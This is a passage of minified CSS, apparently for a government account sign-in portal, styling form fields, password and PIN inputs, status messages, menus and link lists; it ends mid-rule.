.linked{display:block;margin-top:1em}.card--quicklinks img{padding-top:.4em;margin-left:.5em;height:1.5em;position:absolute}.card--quicklinks .quicklinks-arrow{display:inline}form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{width:100%;border:1px solid #999;border-radius:0;background-color:#fff;padding:.7em;display:block;margin:6px 0 6px;overflow:visible;max-width:42em}form [type='text']::-ms-clear,form [type='number']::-ms-clear,form [type='tel']::-ms-clear,form [type='email']::-ms-clear,form [type='password']::-ms-clear,form textarea::-ms-clear,form [type='radio']::-ms-clear,form [type='checkbox']::-ms-clear{display:none}@media screen and (min-width:576px){form [type='text'],form [type='number'],form [type='tel'],form [type='email'],form [type='password'],form textarea,form [type='radio'],form [type='checkbox']{max-width:42em}}form [type='text']:disabled,form [type='number']:disabled,form [type='tel']:disabled,form [type='email']:disabled,form [type='password']:disabled,form textarea:disabled,form [type='radio']:disabled,form [type='checkbox']:disabled,form [disabled][type='text'],form [disabled][type='number'],form [disabled][type='tel'],form [disabled][type='email'],form [disabled][type='password'],form textarea[disabled],form [disabled][type='radio'],form [disabled][type='checkbox']{cursor:not-allowed;background:#ccc;border:2px solid #ccc}.help-text{color:#666;font-size:.9rem}.hidden{display:none}.security-code,input.security-code{width:12em}input.medium-field{width:20em}form fieldset,form p{margin:1.2em 0 1.2em 0;padding:0;border:0}form fieldset{margin-top:1rem}form legend{border-bottom:1px #999 solid;margin-bottom:16px;font-size:1.375rem;width:100%}form legend.non-heading{border-bottom:0;font-size:1em}form legend.std-Legend{border-bottom:0;margin-bottom:0;padding-top:1.2em;font-size:1.125rem}form label,form .std-Legend{display:block;font-size:1rem;margin-bottom:.4em;position:relative;margin-top:1.2em}@media screen and (min-width:576px){form label,form .std-Legend{max-width:42em}}form label span#sqa{display:inline-block;margin-bottom:1.2em}form .hint{display:block;margin-bottom:.4em;font-size:.875rem;color:#333}form .password-group [type='password'],form .password-group [type='text']{padding-right:70px}form .input-group,form .password-group{position:relative;max-width:42em}form .showPassword{position:absolute;top:0;right:0;background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:.5em;text-decoration:underline;height:100%}form .showPassword:focus{border:1px solid #999;border-left-color:transparent}form .showPassword:focus:hover{color:#fff;background-color:#0f6493;border-color:#0f6493}.hasError .showPassword:focus,.hasError .showPassword:hover{padding:11px 10px}.hasError .showPassword:focus{background-color:transparent}form .showPin{background-color:transparent;border:0;color:#0f6493;cursor:pointer;padding:0;text-decoration:underline;height:1.6em;white-space:normal;display:inline-block;font:inherit;margin:0 0 .5em 0;outline:0;text-align:center;width:auto;float:right}form .showPin img{text-decoration:underline}form .showPin:focus:hover{border:1px solid #0f6493}.hasError .showPin:focus,.hasError .showPassword:hover{padding:.5em}.hasError .showPin:focus{background-color:transparent}form textarea{resize:vertical}form [type='radio'],form [type='checkbox']{height:1px;left:-10000px;position:absolute;visibility:visible;width:1px}form [type='radio']:hover+label,form [type='checkbox']:hover+label{cursor:pointer}form [type='radio']:invalid+label,form [type='checkbox']:invalid+label{color:#b7202d}form [type='radio']:invalid+label::before,form [type='checkbox']:invalid+label::before{border-color:#b7202d}form [type='radio']:disabled+label,form [type='radio'][disabled]+label,form [type='checkbox']:disabled+label,form [type='checkbox'][disabled]+label{cursor:default;color:#666}form [type='radio']:disabled+label::before,form [type='radio'][disabled]+label::before,form [type='checkbox']:disabled+label::before,form [type='checkbox'][disabled]+label::before{background-color:#ccc}form [type='radio']+label,form [type='checkbox']+label{display:inline-block;font-size:1.125rem;margin-bottom:.5em;padding:9px 0 6px 40px;margin-top:0;position:relative;width:100%;max-width:37em}form [type='radio']+label::before,form [type='checkbox']+label::before{display:inline-block;height:27px;position:absolute;text-align:center;top:9px;width:27px}form [type='radio']+label::before{border:1px solid #999;border-radius:50%;content:'';left:0}form [type='radio']:checked+label::before{border-radius:50%;content:'';border-color:#333}form [type='radio']:checked+label::after{width:17px;height:17px;background-color:#333;border:1px solid transparent;border-radius:50%;content:'';left:5px;top:14px;position:absolute}form [type='checkbox']+label::before{left:0;border:1px solid #999;content:''}@media screen and (min-width:768px){form [type='checkbox']+label::before{top:9px}}form [type='checkbox']:checked+label::before{font-size:18px;content:'';background-image:url("../icons/tick.svg");background-repeat:no-repeat;background-color:#333;border-color:#333}form [type='checkbox']:checked+label::after{width:17px;height:17px;border:1px solid transparent;content:'';left:25px;top:18px;position:absolute}@media screen and (min-width:768px){form [type='checkbox']:checked+label::after{top:14px}}button,input,optgroup,select,textarea,.chosen-container,.chosen-select{font-size:100%;line-height:1.35;margin:0;margin-bottom:.8em}select.chosen-select{width:100%}.chosen-container-active{outline:0;outline:4px solid #666;outline-offset:1px}.date-fields span,.poro-date-fields span{display:-moz-inline-stack;display:inline-block;margin-bottom:.5em;width:4em}.date-fields p,.poro-date-fields p{margin:0}.pincode-container{display:table}.pincode-input-container{display:block}.pincode-input-container span.hasError{display:inline!important}.pincode-input-container input.last{border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:65px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:48px;padding:6px 0 6px 25px;margin:0 -48px 0 0;height:65px;font-size:30px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:260px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}.pin-fields{margin:0 0 1em 0;position:relative}.pin-fields span{margin-bottom:.5em;width:60px;height:60px;margin-right:.1em}.pin-fields input{width:60px;height:60px;padding-left:40%;display:block}.pin-fields input::-moz-selection{background:transparent}.pin-fields input::selection{background:transparent}.pin-fields p{margin:0}.pin-fields a{margin:1em 0}.pin-fields2{margin:0 0 1em 0;position:relative}.pin-fields2 input{margin:auto auto .5em auto}.pin-fields2 input::-moz-selection{background:transparent}.pin-fields2 input::selection{background:transparent}.pin-fields2 p{margin:0}.pin-fields2 span{text-align:centre}.pin-fields2 a{margin:1em 0}.spacing-large{letter-spacing:.9em;text-align:left;text-indent:.9em;-webkit-text-security:disc;width:6em;font-size:3.0em}@media(max-width:576px){.spacing-large{font-size:2.2em}}.underline{border:1px solid red;length:57px}#mainDiv{height:60px;width:288px;position:relative;border-bottom:2px solid #f51c40;background:#3beadc}#borderLeft{border-left:2px solid #f51c40;position:absolute;top:50%;bottom:0}div.someclass{position:absolute;top:0;left:0;right:0;bottom:0;border:1px solid black}div.outerclass{position:relative}.conceal{-webkit-text-security:disc;box-sizing:border-box;font-family:monospace}.reveal{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif}#partitioned{padding-left:15px;letter-spacing:42px;border:0;background-image:-webkit-linear-gradient(right,black 70%,rgba(255,255,255,0) 0);background-image:linear-gradient(to left,black 70%,rgba(255,255,255,0) 0);background-position:bottom;background-size:50px 1px;background-repeat:repeat-x;background-position-x:35px;width:220px}.poro-date-fields span{margin-right:5px}fieldset :last-child,.optional-section :last-child,.help-content :last-child{margin-bottom:0}[type=number]::-webkit-inner-spin-button,[type=number]::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}fieldset.button-group{margin-top:1.2em}fieldset.button-group legend{border-bottom:0;font-size:inherit}fieldset.button-group button{width:5em;padding:0;margin-bottom:.7em;margin-right:.2em;color:#666;background-color:#fff}fieldset.button-group button.active{background-color:#ccc}.progress h1{margin-bottom:0}.progress h1 .mygov-icon{height:1.2em;margin-right:.1em}.progress .code-gen{text-align:center}.section-heading,#poro-form h2,#poro-form .display,.poro-form h2,.poro-form .display{border-bottom:2px solid #333;padding-bottom:.4em;padding-top:1.2em;clear:both}.hr{border-top:1px solid #999;padding-top:1.2em}.border-top--group{border-top:1px solid #999;padding-top:1.2em}.border-top--group p:first-of-type{margin-top:0}.border-top--group label:first-of-type{margin-top:0}.border-top--group h1:first-of-type,.border-top--group h2:first-of-type,.border-top--group .display:first-of-type{margin-top:0}label[for="createQuestion"]{display:none}.extra-info{margin:0;padding:0}.extra-info--type{font-weight:bold}p.solid{border-style:solid;border-color:#b72020;padding:5px}p.solid span:first-of-type{color:#b72020}.solid2{border-style:solid;border-color:#ccc;padding:5px}.solid2 span:first-of-type{color:#b72020}.servInfoForm li a{display:inline}figure{margin:0}figure img{display:block}img{max-width:100%;height:auto}.image-inline-centre img{display:block;margin:3em auto}.image-float-right{float:right}@media only screen and (max-width:992px){.image-float-right{display:block;margin:1.5em auto;float:none}}body{color:#333}body a,body .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth 